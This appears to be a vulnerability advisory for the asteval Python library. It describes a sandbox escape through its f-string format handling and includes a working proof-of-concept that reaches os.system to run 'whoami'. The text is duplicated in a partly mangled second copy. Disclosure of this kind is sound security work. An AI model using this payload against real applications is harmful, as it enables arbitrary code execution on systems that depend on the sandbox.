Summary
If an attacker can control the input to the asteval library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library.
Details
The vulnerability is rooted in how asteval performs handling of FormattedValue AST nodes. In particular, the on_formattedvalue value uses the dangerous format method of the str class, as shown in the vulnerable code snippet below:
def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')
"formatting used in f-strings"
val = self.run(node.value)
fstring_converters = {115: str, 114: repr, 97: ascii}
if node.conversion in fstring_converters:
val = fstring_converters[node.conversion](val)
fmt = '{__fstring__}'
if node.format_spec is not None:
fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'
return fmt.format(__fstring__=val)The code above allows an attacker to manipulate the value of the string used in the dangerous call fmt.format(__fstring__=val). This vulnerability can be exploited to access protected attributes by intentionally triggering an AttributeError exception. The attacker can then catch the exception and use its obj attribute to gain arbitrary access to sensitive or protected object properties.
PoC
The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the whoami command on the host machine:
from asteval import Interpreter
aeval = Interpreter()
code = """
# def lender():
# ga
def pwn():
try:
f"{dict.mro()[1]:'\\x7B__fstring__.__getattribute__.s\\x7D'}"
except Exception as ga:
ga = ga.obj
sub = ga(dict.mro()[1],"__subclasses__")()
importer = None
for i in sub:
if "BuiltinImporter" in str(i):
importer = i.load_module
break
os = importer("os")
os.system("whoami")
# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below
# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works
pwn()
"""
aeval(code)References
SteakEnthusiast Reporter
Summary
If an attacker can control the input to the
astevallibrary, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library.Details
The vulnerability is rooted in how
astevalperforms handling ofFormattedValueAST nodes. In particular, theon_formattedvaluevalue uses the dangerous format method of the str class, as shown in the vulnerable code snippet below:The code above allows an attacker to manipulate the value of the string used in the dangerous call
fmt.format(__fstring__=val). This vulnerability can be exploited to access protected attributes by intentionally triggering anAttributeErrorexception. The attacker can then catch the exception and use itsobjattribute to gain arbitrary access to sensitive or protected object properties.PoC
The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the
whoamicommand on the host machine:References